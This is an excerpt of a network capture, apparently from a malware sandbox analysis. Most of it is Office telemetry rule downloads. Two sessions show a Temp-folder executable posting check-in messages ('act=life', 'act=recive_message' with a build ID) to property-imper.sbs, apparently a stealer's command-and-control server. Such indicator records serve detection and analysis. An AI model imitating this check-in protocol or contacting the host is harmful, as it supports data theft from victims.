2024-11-23 14:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:43 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142243Z-178bfbc474bmqmgjhC1NYCy16c00000004kg00000000dv3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:44 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:43 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:44 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 9613c870-301e-0052-532e-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142244Z-178bfbc474bp8mkvhC1NYCzqnn000000049g00000000k3x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:44 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:43 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:44 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142244Z-178bfbc474bgvl54hC1NYCsfuw00000004eg00000000gwy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:44 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49866	104.21.33.116	443	2484	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:44 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 14:22:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 14:22:44 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fli8at6f4688ecepveeo8119gi; expires=Wed, 19-Mar-2025 08:09:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M2TFZJqWnK1C9l5Zama7RHBjb4v6z6DAC6V96pvGb2YnHOc8xhkVGJO%2BG2OITf0%2Fha7F0r9wB%2ButXeXNZU4kxiiBXvBzGzlWDP9s7LgBOMsI3FHLevQolFPaBpmiUFTatAE5mTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d026887241f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1771844&cwnd=217&unsent_bytes=0&cid=7bc7b95bc6fe2f5b&ts=1128&x=0"
2024-11-23 14:22:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 14:22:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:44 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142244Z-178bfbc474bp8mkvhC1NYCzqnn00000004h0000000000dzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:44 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:44 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142244Z-178bfbc474b9fdhphC1NYCac0n00000004m00000000037bc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:44 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:45 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:46 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: dcdca57e-b01e-003e-0dcb-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142246Z-15b8b599d88wn9hhhC1TEBry0g000000033000000000abae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:46 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:45 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 358685dd-301e-005d-4f7d-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142246Z-174c587ffdfks6tlhC1TEBeza4000000034000000000af5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:46 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:45 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142246Z-178bfbc474bwlrhlhC1NYCy3kg00000004ng000000004qwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:46 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 48f36a6e-501e-0047-4f4c-3cce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142246Z-15b8b599d88hr8sfhC1TEBbca400000002ug00000000ftk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:46 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142246Z-178bfbc474bmqmgjhC1NYCy16c00000004rg0000000031a2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49873	104.21.33.116	443	2484	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:46 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 14:22:46 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 14:22:47 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b34u6tj7pb68trji95tm1imco3; expires=Wed, 19-Mar-2025 08:09:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cMrMSPfhTvAP8SpsAFdxbhzxQrLni6XoOQKCm2JBQV7GHd%2BxVCUQ1kbvFCInJkYuKPWeJmcLgxfuVdi%2BpOge5wFyfkAODrv5vzG8INgrewWjLT1fTmYBzji85dXUlBaNtXkCevI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d035999d1902-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4232&recv_bytes=955&delivery_rate=152146&cwnd=215&unsent_bytes=0&cid=45f2d73f17ff24fb&ts=1001&x=0"
